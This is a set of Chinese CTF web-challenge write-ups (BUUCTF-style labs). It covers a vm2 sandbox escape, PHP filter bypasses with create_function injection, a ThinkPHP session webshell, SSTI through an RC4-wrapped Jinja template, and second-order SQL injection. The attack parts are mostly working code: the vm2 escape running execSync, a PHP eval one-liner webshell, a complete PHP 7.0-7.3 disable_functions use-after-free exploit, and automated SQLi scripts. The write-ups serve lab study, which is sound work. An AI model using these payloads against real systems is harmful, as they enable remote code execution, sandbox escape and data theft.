[HFCTF2020]JustEscape

image-20240621211441703

真的是php?

不懂

看到wp中大佬说是vm沙盒,先照着做吧

当code为空时

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

所以是一个获取键什么的

这里尝试一下

image-20240621211843751

发现一长串报错

error.stack可以简单解释为用alert()弹出console.log()的一样的异常堆栈信息

在github上可以找到破坏沙盒的方法

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

其中选用

(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
})()

但是我们可以发现其中有些字符被过滤,所以,我们通过重写替换

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

prototyp => [${${prototyp}e}]
get_process => [${${get_proces}s}]
require => [${${requir}e}]
child_process => ${${child_proces}s}
execSync => [${${exe}cSync}]

image-20240621212758486

得到flag

[GXYCTF2019]StrongestMind

image-20240621201241587

我一开始想过会很难,但是没想到真是写一千次,直接脚本运行!

from requests import *
import time
import re
url = "http://dbbc5a26-5ac4-43d7-8540-ecfdbd1f1879.node5.buuoj.cn:81/"
s=session()
kk = re.compile(r'\d+ [-|+] \d+')
r=s.get(url)

for i in range(1001):


zz=kk.findall(r.text)[0]
#print(zz)
zzz=eval(zz)
#print(zzz)
data={"answer":zzz}
time.sleep(0.1)

r=s.post(url,data=data)

r.encoding='utf-8'

print((r.text))



[GKCTF 2021]easycms

image-20240621194533640

给我整懵了,我差点以为我点到了其它网站了。

看了眼提示,弱密码五位

在界面四处找了找,发现没有登陆界面,所以扫文件

发现admin.php

所以访问

image-20240621194846104

弱密码,可以慢慢试,也可以bp

但是文件名叫admin诶

尝试,最后发现是

admin/12345

登录成功

之后在界面里逛逛,发现了一个可以上传文件的地方

在设计->主题->导入主题

但是

image-20240621195039994

所以,我们要找地方,创建文件

所以就是要找可以创建或者上传文件的地方对吧

按照这个思路,我们可以找到

设计->组件->素材库

image-20240621195220695

随便上传一个txt上去

之后进行编辑

image-20240621195311156

现在的界面的话要更改存储路径来创建一个新文件

根据上文的文件,猜测

../../../../../system/tmp/tfeh

image-20240621200101620

也就是说,我们现在有这个文件了

所以我们开始猜测怎么爆flag出来

根据上面的,我们猜测这个flag应该和主题有关

所以我们去主题里面看看

随便选择一个主题

image-20240621200410599

在这一行里面我们都能看到一个

image-20240621200438587

那就很简单了,php源码搞一手

我直接cat /flag了

image-20240621200508201

之后返回主题,或者在右上角的可视化编辑里面看到页面

image-20240621200540019

我是放在友链里,在其它板块也是可以的

[BJDCTF2020]EzPHP’

查看源代码

发现

image-20240620204218107

base32解码,得1nD3x.php

访问,得到一长串代码,分开来一个个读(因为很像一关关闯关)

if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

啊,基本上全部ban掉了啊

怎么办…

在这里我们可以将要上传的东西进行url编码,因为$_SERVER[‘QUERY_STRING’]不会解码url

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

之后就是要上传debu,满足debu的值为**/^aqua_is_cute$/,但是不能强等于aqua_is_cute**所以我们可以采用%0a换行符进行绕过,同时url绕过黑名单,所以payload如下

deb%75=aq%75a_is_c%75te%0a//%75=u

之后

if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST也就是说我们可以传get和post,同时,post优先级高于get,所以可以在个体传入之后用post覆盖

该阶段payload如下:

image-20240620205138007

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

也就是说要能读取到debu_debu_aqua

file=data://text/plain.deb%75_deb%75_aq%75a

所以用data伪协议写进去就好

payload:

image-20240620210212072

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

强比较,可以用数组绕过

sh%61na[]=1&p%61sswd[]=2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这里存在**create_function()注入,而create_function()**存在两个参数$args和$code。

所以这里我们保证code传入create_function

之后是arg参数

可以使用get_defined_vars()输出所有变量,payload:

fl%61g[c%6de]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

所以总payload为:

?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//

发现

屏幕截图 2024-06-20 210915

重点在最后一句话

[“ffffffff11111114ggggg”]=> string(89) “Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333”

也就是说,flag在rea1fl4g.php

访问一下

image-20240620211146512

尝试一下伪协议读取源码放在arg中进行读取

因为之前过滤太多了,这里直接取反

php://filter/read=convert.base64-encode/resource=rea1fl4g.php
->
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F

payload:

fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

image-20240620211836564

base64解码得flag

[GYCTF2020]EasyThinking

一开始看到我还以为是二次注入呢

但是尝试之后发现不是

所以看看wp

发现是thinkphp框架

所以先看看是哪个版本

image-20240620192237924

session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下

所以我们注册账号,并在登陆时将session改为32位的php文件

image-20240620194714529

登录之后将在搜索中搜索

<?php eval($_POST[why]);?>

一句话木马上传完毕,这个木马会保存在session文件中

路径为

runtime/session/sess_1234567812345678123456781234.php

蚁剑连接

成功之后我们发现无法读取flag,这里要绕过disable_functions

上传exp

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

image-20240620200423324

之后访问1.php

image-20240620200439923

[网鼎杯 2020 半决赛]AliceWebsite

发现源码

<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>

很快发现文件包含

同时我们发现这里有一个文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag

image-20240620190853439

October 2019 Twice SQL Injection

image-20240619215157126

题目告诉了我二次注入,我就先登录进去看看

随便注册

image-20240619215237364

在这一块,输入 ‘ 会被转义,但是我们发现并没有其他的什么特殊限制,所以可以大胆猜测在注册界面二次注入

所以首先,我们尝试一些恶意注册的名字

1' union select database() #

image-20240619215549456

很好,所以之后还是继续爆表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

image-20240619215634536

猜测在flag中

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

image-20240619215718815

最后爆字段

1' union select flag from flag #

image-20240619215755771

拿到flag

[CISCN2019 华东南赛区]Double Secret

image-20240619213707600

我们首先访问一下screct页面

image-20240619213758089

要我们说secret,猜测是传参数secret

image-20240619213851969

传1进去是d

传参传长一点试试

发现报错,在其中发现源码泄露

image-20240619213957241

File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
Open an interactive python shell in this frame return 'flag detected!'
return a

所以,我们可以发现传进去的参数是被使用rc4解密了,所以我们应该将要传进去的内容进行加密

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

rc4加密脚本如上

最后得到

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

将其上传为secret参数

得到flag

image-20240619214531334

[网鼎杯2018]Unfinish

image-20240617193917708

sql注入是这样的

看了一眼登录界面,什么也没有

放心了

肯定是有注册页面

register.php

image-20240617194105969

先随便注册一个

image-20240617195201465

登录发现回显的用户名

这包的是二次注入的

就是不知道怎么注入

尝试了一下常规注入好像不大行

1'+ascii(substr(database() from 1 for 1))+'0

看了一下大佬的wp

通过ascii码来进行读取

同时使用from for代替逗号

同时过滤了information

所以表名只能靠猜,所以猜测是flag

回到题目

这样的注入是因为在一开始尝试了

ascii(substr(database() from 1 for 1))

发现回显的是字符串所以猜测将上传的username两边加了引号

payload则是为了闭合引号

所以写脚本爆flag

import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://fd61fced-c80d-4436-aa4e-b3aa75cf7fae.node5.buuoj.cn:81/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()

得到flag